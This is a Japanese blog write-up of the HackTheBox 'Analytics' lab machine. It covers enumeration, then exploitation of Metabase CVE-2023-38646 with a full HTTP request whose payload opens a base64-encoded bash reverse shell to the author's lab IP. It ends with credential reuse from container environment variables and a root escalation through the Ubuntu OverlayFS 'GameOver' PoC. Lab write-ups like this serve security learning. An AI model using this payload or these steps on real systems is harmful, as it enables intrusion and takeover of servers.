HackTheBox Analytics WriteUp

今回は、HackTheBoxのEasyマシン「Analytics」のWriteUpです！
名前からしてログやプログラミングコードを解析するような感じになるのでしょうか。。。

![スクリーンショット 2024-03-25 0.06.10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/323facae-9802-af3c-d152-d0a5d2ec2149.png)


グラフは、ちゃんとEasyな感じですね。
名前からして、列挙が多そうですが、攻略目指して頑張ります！

HackTheBoxって何？という方は下記の記事を見てみてください！一緒にハッキングしましょう〜！

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476

## Analytics

### 列挙

では、侵入を開始しましょう！
まずは、nmapを実行していきます。
```bash
$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.233 -oN nmap.log

PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-title: Did not follow redirect to http://analytical.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Aggressive OS guesses: Linux 5.0 (97%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 36.496 days (since Tue Sep  5 04:24:27 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
22番と80番が表示されました。シンプルです。
80番が開いているので、Webでアクセスしてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/073e376d-6397-86c9-6f32-6be97ea7f6a4.png)

なんのサイトかはよくわからないのですが、少しマシン名にも関係していそうです。
このサイトには特に何もなさそうなので、サブドメインを列挙してみましょう。

```bash
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "HOST: FUZZ.analytical.htb" -u http://10.10.11.233 -fc 302

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/  '     

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.233
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.analytical.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response status: 302
________________________________________________

[Status: 200, Size: 77858, Words: 3574, Lines: 28, Duration: 267ms]
    * FUZZ: data

:: Progress: [4989/4989] :: Job [1/1] :: 204 req/sec :: Duration: [0:00:25] :: Errors: 0 ::
```
```data```という新たなサブドメインを発見しました。

### metabase（CVE-2023-38646）

では、実際にアクセスしてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/81cb5996-6bd3-c9c0-e19e-e99b540baf51.png)

```Metabase```のページが表示されました。バージョン情報はWeb画面上では見えないですが、metabaseに気になる脆弱性がないかを調べてみます。
```metabase exploit```のような感じで調べると、すぐに下記の記事を見つけました。

https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/

記事によると、Metabaseには認証を必要としないRCEの脆弱性があるようです。
記事では、発火させるためのリクエストも紹介されています。tokenとpayloadの情報を変更するだけで使用できるようなので、変更していきましょう。

まずは、tokenを取得します。記事によるとtokenが削除されず```/api/session/properties```へのリクエストでtokenが露見してしまうことが、脆弱性の始まりのようです。実際にレスポンスからtokenを探してみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/e3bc240f-87a3-348c-afc8-2cf64014159e.png)

tokenを発見しました！これを、リクエストに追加するために、メモしておきましょう。
payloadも変更する必要があります。payloadはbase64でエンコードする必要があるようです。BurpSuiteを使って自分のKali側のIPとポートを指定しエンコードを行いましょう。

![スクリーンショット 2023-10-13 1.29.01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/b1326608-8199-f90a-4a59-91e7249d81c2.png)

普通にbase64を行うだけでは、この形にならないので、注意してください

## metabase としてのシェル

エンコードが行えたので、実際にリクエストを変更します。
私が使用したリクエストは下記の通りです。
```bash
$ cat rcereq.txt 
POST /api/setup/validate HTTP/1.1
Host: data.analytical.htb
Content-Type: application/json
Content-Length: 812

{
    "token": "249fa03d-fd94-4d5b-b94f-b4ebf3df681f",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjQvMjEyMSAwPiYx}|{base64,-d}|{bash,-i}')\n$$--=x",
            "advanced-options": false,
            "ssl": true
        },
        "name": "an-sec-research-team",
        "engine": "h2"
    }
}
```
それでは、これをBurpSuiteに貼り付け、リクエストを送信してみましょう。
```bash
$ nc -lvnp 2121   
listening on [any] 2121 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.233] 37224
bash: cannot set terminal process group (1): Not a tty
bash: no job control in this shell
103edb98ee8a:/$ whoami
whoami
metabase
```
シェルを取得することができました！

### 横移動

なんとなくシェルの横の文字をみて気づく人もいるかもしれませんが、侵入したホストはDockerコンテナです。
ホームディレクトリも確認しましたが、もちろんユーザフラグはありません。
そのため、実ホストへ移動を行う必要があります。

では、移動するための列挙としてコンテナの情報を確認しましょう。私は侵入先がコンテナである場合、必ず```env```コマンドを実行します。

```bash
bd2084634c84:/$ env
env
SHELL=/bin/sh
MB_DB_PASS=
HOSTNAME=bd2084634c84
LANGUAGE=en_US:en
MB_JETTY_HOST=0.0.0.0
JAVA_HOME=/opt/java/openjdk
MB_DB_FILE=//metabase.db/metabase.db
PWD=/
LOGNAME=metabase
MB_EMAIL_SMTP_USERNAME=
HOME=/home/metabase
LANG=en_US.UTF-8
META_USER=metalytics
META_PASS=An4lytics_ds20223#
MB_EMAIL_SMTP_PASSWORD=
USER=metabase
SHLVL=4
MB_DB_USER=
FC_LANG=en-US
LD_LIBRARY_PATH=/opt/java/openjdk/lib/server:/opt/java/openjdk/lib:/opt/java/openjdk/../lib
LC_CTYPE=en_US.UTF-8
MB_LDAP_BIND_DN=
LC_ALL=en_US.UTF-8
MB_LDAP_PASSWORD=
PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
MB_DB_CONNECTION_URI=
JAVA_VERSION=jdk-11.0.19+7
_=/usr/bin/env
OLDPWD=/opt/java/openjdk/conf/management
```

出力から、```META_USER```と```META_PASS```という変数あり、それぞれの値が表示されています！この認証情報をどこかで使用することはできないでしょうか...

## metalytics としてのシェル

一番最初の候補として浮かび上がるのはSSHです！
流石にこれで横移動が完了すると、少し簡単すぎる気もするのでダメ元ではありますが、試してみましょう。

```bash
$ ssh metalytics@10.10.11.233 
metalytics@10.10.11.233s password:
metalytics@analytics:~$ whoami
metalytics
```

なんと、SSHログインに成功しました！

```bash
metalytics@analytics:~$ ls -l
total 4
-rw-r----- 1 root metalytics 33 Oct 11 18:41 user.txt
```

ユーザフラグを取得することもできました！

### 権限昇格

それではここから権限昇格を目指していきましょう！
とりあえずいつものように```sudo -l```を実行していきましょう

```bash
etalytics@analytics:~$ sudo -l
[sudo] password for metalytics: 
Sorry, user metalytics may not run sudo on localhost.
```

今回は```sudo```を実行できないようです。
他に権限昇格につながる情報がないか色々と列挙を行い、気になる情報を見つけました。

```bash
metalytics@analytics:~$ cat /etc/os-release
PRETTY_NAME="Ubuntu 22.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.3 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
```

```/etc/os-release```をみてみると、今回のマシンはubuntuのバージョン22.04.3 LTSが使用されていることがわかりました。私は、普段から脆弱性情報を確認しており、バージョンを見た時点である脆弱性を思い出しました。

確認も兼ねて、Googleで脆弱性がないか検索すると、以下の記事を発見しました。

https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629/tree/main

そうです。今回のubuntuのバージョンは、一時話題になっていた```GameOver```に対して脆弱です。この脆弱性は```OverlayFS```と```Capabilities```に起因するものです。

GitHub内では、PoCも公開されています。

## root としてのシェル

それでは、PoCをマシン上にアップロードし、実行していきましょう。

```bash
metalytics@analytics:/tmp$ ./exploit3.sh
[+] You should be root now
[+] Type 'exit' to finish and leave the house cleaned
root@analytics:/tmp# whoami
root
```

権限昇格に成功しました！

```bash
root@analytics:/root# ls -l
total 4
-rw-r----- 1 root root 33 Oct 11 18:41 root.txt
```

rootフラグも取得し、完全攻略達成です！

### 攻略を終えて

今回のマシンはそこまで難しくないマシンだったかなと思います。
初期侵入と権限昇格がバージョンに起因し、わかりやすい脆弱性であり、横移動も環境変数を見るだけです。私としてはGameOverを実際に悪用できる貴重なマシンだったので、攻略していて楽しかったです。より深くGameOverを理解できた気がします。
今回は、バージョン管理が原因で権限昇格まで繋がったマシンでした。実社会でもバージョン管理は重大な問題だと思います。また今回のマシンのように最新の脆弱性が悪用される場合もあることを考えると、より迅速な対応が必要になってしまいます。バージョンアップは難しい上にコストがかかります。なので、脆弱性におけるリスク評価を適切に行っていくことが重要ですね。
今後もHackTheBoxのWriteUpを公開していきますので、みていただけると嬉しいです。
最後まで閲覧していただき、ありがとうございました！